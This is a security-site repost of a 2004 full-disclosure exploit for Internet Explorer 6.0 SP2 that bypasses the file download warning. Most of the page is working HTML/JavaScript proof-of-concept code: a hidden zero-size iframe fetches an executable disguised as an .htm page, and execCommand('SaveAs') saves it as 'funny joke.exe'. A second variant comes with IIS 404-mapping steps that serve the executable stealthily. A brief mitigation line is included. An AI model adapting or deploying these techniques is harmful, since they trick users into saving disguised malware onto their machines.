首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Internet Explorer 6.0 SP2 File Download Security Warning Bypass Exploit
来源:vfocus.net 作者:vfocus 发布时间:2004-11-20  

Internet Explorer 6.0 SP2 File Download Security Warning Bypass Exploit

Microsoft Internet Explorer (including IE for Windows XP SP2) is reported vulnerable to a file download security warning
bypass. This unpatched flaw may be exploited to download a malicious executable file masqueraded as a HTML file.

Secunia did not release the technical details (aka Security by Obscurity) thus we publish this page (aka Full Disclosure)

Solution

Disable Active Scripting and the "Hide file extensions for known file types" option [Tools->Folder Options->View]

Credits : go to cyber flash


How does it work ? A.K.A Exploit

The following code requires no special server setup, and should work from any webpage that IE 6.0 fetches:

<html>
<body>
<iframe src='http://domain.com/v.exe?.htm' name="NotFound" width="0" height="0"></iframe>Click
<a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');">
here</a>.
</body>
</html>

Also, here's an example that requires modifying the IIS Error Mapping Properties (see below):

<html>
<body>
<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>Click
<a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');">
here</a>.
</body>
</html>

Steps to configure IIS:

Launch Internet Information Services manager.
Under the 'Custom Errors' tab, modify the Error Mapping Properties as follows:

i. Error Code: 404
ii. Default Text: Not Found
iii. Message Type: URL
iv. URL: /v.exe (name of the executable)

Within the HTML page, insert an IFRAME as follows:

<iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>

The file 'vengy404.htm' intentionally doesn't exist on the server, so it will trigger a 404 error message as defined above. But, the javascript code below references the stealthy v.exe data within the frame 'NotFound' and is linked to 'funny joke.exe' when prompted to save the file:

javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');


? The original advisory (mirrored by VfovuS) is available here



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Compressed (
·Orginal Advisory and exploit b
·SLmail 5.x POP3 Remote Pass Bu
·Secure Network Messenger DoS E
·Apache <= 2.0.52 HTTP GET R
·Cscope version 15.5 and minor
·UBB.Threads 6.2.*-6.3.* one ch
·Technote remote command execut
·Multiple Antivirus Products Vi
·Java JNI/DNS Queries DoS
·Eudora 6.2 Remote Attachment S
·TWiki 20030201 search.pm Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved